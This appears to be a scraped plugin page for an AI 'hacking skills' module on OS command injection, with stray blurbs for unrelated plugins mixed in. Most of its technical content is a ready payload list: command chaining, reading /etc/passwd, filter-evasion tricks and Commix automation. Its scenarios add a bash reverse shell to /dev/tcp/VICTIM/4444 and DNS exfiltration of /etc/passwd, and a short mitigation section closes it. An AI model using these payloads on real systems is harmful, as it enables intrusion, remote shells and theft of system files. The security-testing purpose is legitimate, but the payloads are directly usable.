From meta
OS command injection occurs when user input is passed unsanitized to a system shell via dangerous APIs: Java `Runtime.exec()`, Python `os.system/subprocess`, PHP `system/shell_exec/exec/proc_open`, C `system/exec`. Detect via pipe `|`, semicolon `;`, `&&`, `||`, backtick, `$()` operators, and time-delay payloads (`sleep 5`). Tools: Commix, Burp Suite, OWASP WebGoat.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Command injection occurs when an application passes user-supplied data to a system shell without sanitization, effectively letting the attacker append their own commands. Applications that invoke OS utilities (ping, nslookup, file conversion tools, archive utilities) by constructing shell strings are particularly susceptible. The vulnerability grants attacker-level access equivalent to the web ...
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Command injection occurs when an application passes user-supplied data to a system shell without sanitization, effectively letting the attacker append their own commands. Applications that invoke OS utilities (ping, nslookup, file conversion tools, archive utilities) by constructing shell strings are particularly susceptible. The vulnerability grants attacker-level access equivalent to the web server process user, enabling file read/write, network pivoting, and privilege escalation.
/bin/sh, cmd.exe)Runtime.exec(), os.system(), shell_exec(), proc_open(), subprocess.call()|, ;, &, &&, ||, `, $().; sleep 5 or | ping -c 5 127.0.0.1.; curl http://VICTIM/$(whoami); nslookup $(whoami).VICTIMping -n 5 127.0.0.1 for time delay; dir instead of ls.# Basic command chaining (Linux)
TARGET/cgi-bin/script.pl?doc=report.pdf|id
TARGET/page?host=127.0.0.1;id
TARGET/page?host=127.0.0.1&&id
TARGET/page?host=127.0.0.1||id
# Command substitution
TARGET/page?host=$(id)
TARGET/page?host=`id`
# Blind injection — time delay (Linux)
TARGET/page?host=127.0.0.1;sleep%205
TARGET/page?host=127.0.0.1|ping%20-c%205%20127.0.0.1
# Blind injection — time delay (Windows)
TARGET/page?host=127.0.0.1|ping%20-n%205%20127.0.0.1
# Blind injection — out-of-band DNS exfil
TARGET/page?host=;nslookup%20$(whoami).VICTIM
TARGET/page?host=;curl%20http://VICTIM/$(whoami)
# File read
TARGET/page?file=report.pdf;cat%20/etc/passwd
TARGET/page?file=report.pdf|type%20C:\Windows\win.ini
# PHP-specific (POST body)
Doc=Doc1.pdf+|+dir+c:\
# URL-encoded semicolon method
TARGET/something.php?dir=%3Bcat%20/etc/passwd
# Commix automated testing
commix --url="TARGET/page?host=INJECT_HERE" --technique=classic
commix --url="TARGET/page" --data="host=INJECT_HERE" --technique=timebased
%7C for |, %3B for ;, %26 for &%257C → %7C → |ca${IFS}t /etc/passwd (IFS is Internal Field Separator = space)c'a't /etc/passwd, c"a"t /etc/passwd$IFS for space, ${PATH:0:1} for /$(): try both if one is filtered%0a to break out of filter context^ as escape character (p^i^n^g)Scenario 1 — Ping Utility Injection
Setup: Network diagnostic page accepts IP address input, constructs ping -c 3 $userInput in PHP via shell_exec().
Trigger: Submit 127.0.0.1; cat /etc/passwd — ping runs then passwd file contents returned.
Impact: Arbitrary file read; escalate to reverse shell: 127.0.0.1; bash -i >& /dev/tcp/VICTIM/4444 0>&1
Scenario 2 — Blind Injection via File Conversion
Setup: PDF conversion service passes filename to convert $filename output.pdf; no output returned to user.
Trigger: Submit filename report.pdf; sleep 10 — response delayed 10 seconds confirming injection.
Impact: Exfiltrate data via DNS: report.pdf; nslookup $(cat /etc/passwd | head -1 | base64).VICTIM
Scenario 3 — Windows IIS CGI Injection
Setup: ASP page calls cmd.exe /c ipconfig $subnet to generate network report.
Trigger: POST body subnet=10.0.0.0 & dir C:\inetpub\wwwroot
Impact: Web root directory listing; follow with credential file exfiltration.
subprocess.run(['ping', host]) list form — no shell interpretation)subprocess.run(['ping', '-c', '3', host], shell=False))|, ;, &, $, >, <, `, \, !, >>, #ProcessBuilder, Python subprocess with list args, PHP escapeshellarg()[[sql-injection]] and cmd-injection are the same fundamental failure class applied to different interpreters — the input validation methodology and blind time-based detection technique are directly transferable. [[ssti]] also achieves code execution via injection, but through a template engine rather than a shell; both share the mental model of breaking out of a string context into an execution context. If the command injection vector is a filename parameter, [[path-traversal]] payloads may also apply to the same parameter.